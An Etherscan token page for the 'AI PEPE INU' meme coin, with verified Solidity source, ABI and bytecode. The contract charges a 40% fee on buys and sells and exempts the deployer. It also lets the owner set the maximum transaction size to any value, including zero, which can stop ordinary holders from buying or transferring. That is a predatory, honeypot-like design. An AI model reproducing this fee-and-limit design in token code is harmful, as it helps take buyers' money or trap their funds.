ETH Price: $3,040.68 (+4.46%)
 

Overview

Max Total Supply

420,690,000,000,000 AiPEPE

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: AiPEPE 3
Balance
0.000000014920693355 AiPEPE

Value
$0.00
0xcdc18622a6d99ab0b92982e39db90bf20416240c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-19
*/

// SPDX-License-Identifier: MIT

/**
 * Twitter: https://twitter.com/froginutoken
 * Telegram: https://t.me/AIPEPE_Token
*/

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 4000;
    uint256 public _buyLPFee = 0;
    uint256 public _sellFundFee = 4000;
    uint256 public _sellLPFee = 0;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "AI PEPE INU";
        _symbol = "AiPEPE";
        _decimals = 18;
        uint256 Supply = 420690000000000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address bossWallet = msg.sender;
        _balances[bossWallet] = _totalSupply;
        emit Transfer(address(0), bossWallet, _totalSupply);

        fundAddress = msg.sender;
        maxTxAmount = _totalSupply;
        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;

        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[bossWallet] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignBuy(uint256 newFundFee, uint256 newLpFee) public onlyOwner{
        require(newFundFee + newLpFee <= 4000,"too high");
        _buyFundFee = newFundFee;
        _buyLPFee = newLpFee;
    }

    function DesignSell(uint256 newFundFee, uint256 newLpFee) public onlyOwner{
        require(newFundFee + newLpFee <= 4000,"too high");
        _sellFundFee = newFundFee;
        _sellLPFee = newLpFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    // uint256 public swapRate = 200;
    // function setswapRate(uint256 newValue) public onlyOwner{
    //     require(newValue != 0," == 0");
    //     swapRate = newValue;
    // }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    uint256 public maxTxAmount;
    function setMaxTxAmount(uint256 newValue) public onlyOwner{
        maxTxAmount = newValue;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee + _sellLPFee;
            } else {
                taxFee = _buyFundFee + _buyLPFee;
                require(tAmount <= maxTxAmount,"max tx");
            }
            uint256 swapAmount = tAmount * taxFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }



    function removeERC20(address tokenAddress, uint256 amount) external {
        if (tokenAddress == address(0)){
            payable(fundAddress).transfer(amount);
        }else if(tokenAddress != address(this)){
            IERC20(tokenAddress).transfer(fundAddress, amount);
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"},{"internalType":"uint256","name":"newLpFee","type":"uint256"}],"name":"DesignBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"},{"internalType":"uint256","name":"newLpFee","type":"uint256"}],"name":"DesignSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610fa0600c556000600d55610fa0600e556000600f553480156200002757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600b8082526a4149205045504520494e5560a81b60209092019182526200009d91600491620003ce565b506040805180820190915260068082526541695045504560d01b6020909201918252620000cd91600591620003ce565b506006805460ff19166012179055600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b8152905166017e9d8602b400949392849263c45a01559260048083019392829003018186803b1580156200016057600080fd5b505afa15801562000175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019b919062000474565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620001e957600080fd5b505afa158015620001fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000224919062000474565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200026d57600080fd5b505af115801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a8919062000474565b601080546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002f79160ff1690620004ef565b620003039085620005b0565b600881905533600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b0319163390811790915560085460115530600090815260076020526040808220805460ff1990811660019081179092556001600160a01b03988916845282842080548216831790559383528183208054851682179055939096168152949094208054909416179092555062000625915050565b828054620003dc90620005d2565b90600052602060002090601f0160209004810192826200040057600085556200044b565b82601f106200041b57805160ff19168380011785556200044b565b828001600101855582156200044b579182015b828111156200044b5782518255916020019190600101906200042e565b50620004599291506200045d565b5090565b5b808211156200045957600081556001016200045e565b6000602082840312156200048757600080fd5b81516001600160a01b03811681146200049f57600080fd5b9392505050565b600181815b80851115620004e7578160001904821115620004cb57620004cb6200060f565b80851615620004d957918102915b93841c9390800290620004ab565b509250929050565b60006200049f60ff8416836000826200050b57506001620005aa565b816200051a57506000620005aa565b81600181146200053357600281146200053e576200055e565b6001915050620005aa565b60ff8411156200055257620005526200060f565b50506001821b620005aa565b5060208310610133831016604e8410600b841016171562000583575081810a620005aa565b6200058f8383620004a6565b8060001904821115620005a657620005a66200060f565b0290505b92915050565b6000816000190483118215151615620005cd57620005cd6200060f565b500290565b600181811c90821680620005e757607f821691505b602082108114156200060957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610faa80620006356000396000f3fe6080604052600436106101855760003560e01c80638637b069116100d1578063b9fbc49d1161008a578063e5615dd111610064578063e5615dd114610499578063e82bef29146104b9578063ec28438a146104d9578063f2fde38b146104f957600080fd5b8063b9fbc49d14610427578063ce0192f91461043d578063dd62ed3e1461045357600080fd5b80638637b069146103885780638c0b5e22146103a85780638da5cb5b146103be57806395d89b41146103dc578063a9059cbb146103f1578063adc7955d1461041157600080fd5b80633bfe62ca1161013e5780634bf28fd0116101185780634bf28fd0146102e557806365b61b771461031d57806370a082311461033d578063715018a61461037357600080fd5b80633bfe62ca1461027d5780633db02103146102935780633ecad271146102b557600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020b578063313ce5671461022b57806336b2e0271461024d57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610519565b6040516101b39190610e33565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004610dac565b6105ab565b60405190151581526020016101b3565b3480156101f857600080fd5b506008545b6040519081526020016101b3565b34801561021757600080fd5b506101dc610226366004610d70565b6105c1565b34801561023757600080fd5b5060065460405160ff90911681526020016101b3565b34801561025957600080fd5b506101dc610268366004610d1b565b60076020526000908152604090205460ff1681565b34801561028957600080fd5b506101fd600e5481565b34801561029f57600080fd5b506102b36102ae366004610e11565b610658565b005b3480156102c157600080fd5b506101dc6102d0366004610d1b565b600a6020526000908152604090205460ff1681565b3480156102f157600080fd5b50601054610305906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561032957600080fd5b50600954610305906001600160a01b031681565b34801561034957600080fd5b506101fd610358366004610d1b565b6001600160a01b031660009081526001602052604090205490565b34801561037f57600080fd5b506102b36106dc565b34801561039457600080fd5b506102b36103a3366004610dac565b610750565b3480156103b457600080fd5b506101fd60115481565b3480156103ca57600080fd5b506000546001600160a01b0316610305565b3480156103e857600080fd5b506101a6610837565b3480156103fd57600080fd5b506101dc61040c366004610dac565b610846565b34801561041d57600080fd5b506101fd600f5481565b34801561043357600080fd5b506101fd600d5481565b34801561044957600080fd5b506101fd600c5481565b34801561045f57600080fd5b506101fd61046e366004610d3d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104a557600080fd5b506102b36104b4366004610e11565b610853565b3480156104c557600080fd5b50600354610305906001600160a01b031681565b3480156104e557600080fd5b506102b36104f4366004610df8565b6108ce565b34801561050557600080fd5b506102b3610514366004610d1b565b6108fd565b60606004805461052890610f23565b80601f016020809104026020016040519081016040528092919081815260200182805461055490610f23565b80156105a15780601f10610576576101008083540402835291602001916105a1565b820191906000526020600020905b81548152906001019060200180831161058457829003601f168201915b5050505050905090565b60006105b83384846109c3565b50600192915050565b60006105ce848484610a24565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461064e576001600160a01b0384166000908152600260209081526040808320338452909152902054610629908390610f0c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461068b5760405162461bcd60e51b815260040161068290610e88565b60405180910390fd5b610fa06106988284610eb3565b11156106d15760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610682565b600e91909155600f55565b6000546001600160a01b031633146107065760405162461bcd60e51b815260040161068290610e88565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b03821661079d576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610798573d6000803e3d6000fd5b505050565b6001600160a01b03821630146108335760035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb90604401602060405180830381600087803b1580156107fb57600080fd5b505af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107989190610dd6565b5050565b60606005805461052890610f23565b60006105b8338484610a24565b6000546001600160a01b0316331461087d5760405162461bcd60e51b815260040161068290610e88565b610fa061088a8284610eb3565b11156108c35760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610682565b600c91909155600d55565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161068290610e88565b601155565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161068290610e88565b6001600160a01b0381166109685760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610682565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610a805760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610682565b6001600160a01b038416600090815260076020526040812054819060ff16158015610ac457506001600160a01b03851660009081526007602052604090205460ff16155b8015610ad35750600b5460ff16155b15610add57600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610b02575060015b610b0f8686868585610b17565b505050505050565b6001600160a01b038516600090815260016020526040902054610b3b908490610f0c565b6001600160a01b0386166000908152600160205260408120919091558215610c6f5760008215610b7c57600f54600e54610b759190610eb3565b9050610bc9565b600d54600c54610b8c9190610eb3565b9050601154851115610bc95760405162461bcd60e51b81526020600482015260066024820152650dac2f040e8f60d31b6044820152606401610682565b6000612710610bd88388610eed565b610be29190610ecb565b90508015610c6c57610bf48184610eb3565b30600090815260016020526040902054909350610c12908290610eb3565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c639085815260200190565b60405180910390a35b50505b610c798185610f0c565b6001600160a01b038616600090815260016020526040902054610c9c9190610eb3565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ce68488610f0c565b60405190815260200160405180910390a3505050505050565b80356001600160a01b0381168114610d1657600080fd5b919050565b600060208284031215610d2d57600080fd5b610d3682610cff565b9392505050565b60008060408385031215610d5057600080fd5b610d5983610cff565b9150610d6760208401610cff565b90509250929050565b600080600060608486031215610d8557600080fd5b610d8e84610cff565b9250610d9c60208501610cff565b9150604084013590509250925092565b60008060408385031215610dbf57600080fd5b610dc883610cff565b946020939093013593505050565b600060208284031215610de857600080fd5b81518015158114610d3657600080fd5b600060208284031215610e0a57600080fd5b5035919050565b60008060408385031215610e2457600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015610e6057858101830151858201604001528201610e44565b81811115610e72576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b60008219821115610ec657610ec6610f5e565b500190565b600082610ee857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f0757610f07610f5e565b500290565b600082821015610f1e57610f1e610f5e565b500390565b600181811c90821680610f3757607f821691505b60208210811415610f5857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212202f82cc9cf25285892a95d5a0a65017e00a8b871a8471aeeaf4067ad1503b562c64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101855760003560e01c80638637b069116100d1578063b9fbc49d1161008a578063e5615dd111610064578063e5615dd114610499578063e82bef29146104b9578063ec28438a146104d9578063f2fde38b146104f957600080fd5b8063b9fbc49d14610427578063ce0192f91461043d578063dd62ed3e1461045357600080fd5b80638637b069146103885780638c0b5e22146103a85780638da5cb5b146103be57806395d89b41146103dc578063a9059cbb146103f1578063adc7955d1461041157600080fd5b80633bfe62ca1161013e5780634bf28fd0116101185780634bf28fd0146102e557806365b61b771461031d57806370a082311461033d578063715018a61461037357600080fd5b80633bfe62ca1461027d5780633db02103146102935780633ecad271146102b557600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020b578063313ce5671461022b57806336b2e0271461024d57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610519565b6040516101b39190610e33565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004610dac565b6105ab565b60405190151581526020016101b3565b3480156101f857600080fd5b506008545b6040519081526020016101b3565b34801561021757600080fd5b506101dc610226366004610d70565b6105c1565b34801561023757600080fd5b5060065460405160ff90911681526020016101b3565b34801561025957600080fd5b506101dc610268366004610d1b565b60076020526000908152604090205460ff1681565b34801561028957600080fd5b506101fd600e5481565b34801561029f57600080fd5b506102b36102ae366004610e11565b610658565b005b3480156102c157600080fd5b506101dc6102d0366004610d1b565b600a6020526000908152604090205460ff1681565b3480156102f157600080fd5b50601054610305906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561032957600080fd5b50600954610305906001600160a01b031681565b34801561034957600080fd5b506101fd610358366004610d1b565b6001600160a01b031660009081526001602052604090205490565b34801561037f57600080fd5b506102b36106dc565b34801561039457600080fd5b506102b36103a3366004610dac565b610750565b3480156103b457600080fd5b506101fd60115481565b3480156103ca57600080fd5b506000546001600160a01b0316610305565b3480156103e857600080fd5b506101a6610837565b3480156103fd57600080fd5b506101dc61040c366004610dac565b610846565b34801561041d57600080fd5b506101fd600f5481565b34801561043357600080fd5b506101fd600d5481565b34801561044957600080fd5b506101fd600c5481565b34801561045f57600080fd5b506101fd61046e366004610d3d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104a557600080fd5b506102b36104b4366004610e11565b610853565b3480156104c557600080fd5b50600354610305906001600160a01b031681565b3480156104e557600080fd5b506102b36104f4366004610df8565b6108ce565b34801561050557600080fd5b506102b3610514366004610d1b565b6108fd565b60606004805461052890610f23565b80601f016020809104026020016040519081016040528092919081815260200182805461055490610f23565b80156105a15780601f10610576576101008083540402835291602001916105a1565b820191906000526020600020905b81548152906001019060200180831161058457829003601f168201915b5050505050905090565b60006105b83384846109c3565b50600192915050565b60006105ce848484610a24565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461064e576001600160a01b0384166000908152600260209081526040808320338452909152902054610629908390610f0c565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461068b5760405162461bcd60e51b815260040161068290610e88565b60405180910390fd5b610fa06106988284610eb3565b11156106d15760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610682565b600e91909155600f55565b6000546001600160a01b031633146107065760405162461bcd60e51b815260040161068290610e88565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b03821661079d576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610798573d6000803e3d6000fd5b505050565b6001600160a01b03821630146108335760035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb90604401602060405180830381600087803b1580156107fb57600080fd5b505af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107989190610dd6565b5050565b60606005805461052890610f23565b60006105b8338484610a24565b6000546001600160a01b0316331461087d5760405162461bcd60e51b815260040161068290610e88565b610fa061088a8284610eb3565b11156108c35760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b6044820152606401610682565b600c91909155600d55565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161068290610e88565b601155565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161068290610e88565b6001600160a01b0381166109685760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610682565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610a805760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610682565b6001600160a01b038416600090815260076020526040812054819060ff16158015610ac457506001600160a01b03851660009081526007602052604090205460ff16155b8015610ad35750600b5460ff16155b15610add57600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610b02575060015b610b0f8686868585610b17565b505050505050565b6001600160a01b038516600090815260016020526040902054610b3b908490610f0c565b6001600160a01b0386166000908152600160205260408120919091558215610c6f5760008215610b7c57600f54600e54610b759190610eb3565b9050610bc9565b600d54600c54610b8c9190610eb3565b9050601154851115610bc95760405162461bcd60e51b81526020600482015260066024820152650dac2f040e8f60d31b6044820152606401610682565b6000612710610bd88388610eed565b610be29190610ecb565b90508015610c6c57610bf48184610eb3565b30600090815260016020526040902054909350610c12908290610eb3565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c639085815260200190565b60405180910390a35b50505b610c798185610f0c565b6001600160a01b038616600090815260016020526040902054610c9c9190610eb3565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ce68488610f0c565b60405190815260200160405180910390a3505050505050565b80356001600160a01b0381168114610d1657600080fd5b919050565b600060208284031215610d2d57600080fd5b610d3682610cff565b9392505050565b60008060408385031215610d5057600080fd5b610d5983610cff565b9150610d6760208401610cff565b90509250929050565b600080600060608486031215610d8557600080fd5b610d8e84610cff565b9250610d9c60208501610cff565b9150604084013590509250925092565b60008060408385031215610dbf57600080fd5b610dc883610cff565b946020939093013593505050565b600060208284031215610de857600080fd5b81518015158114610d3657600080fd5b600060208284031215610e0a57600080fd5b5035919050565b60008060408385031215610e2457600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015610e6057858101830151858201604001528201610e44565b81811115610e72576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b60008219821115610ec657610ec6610f5e565b500190565b600082610ee857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610f0757610f07610f5e565b500290565b600082821015610f1e57610f1e610f5e565b500390565b600181811c90821680610f3757607f821691505b60208210811415610f5857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212202f82cc9cf25285892a95d5a0a65017e00a8b871a8471aeeaf4067ad1503b562c64736f6c63430008070033

Deployed Bytecode Sourcemap

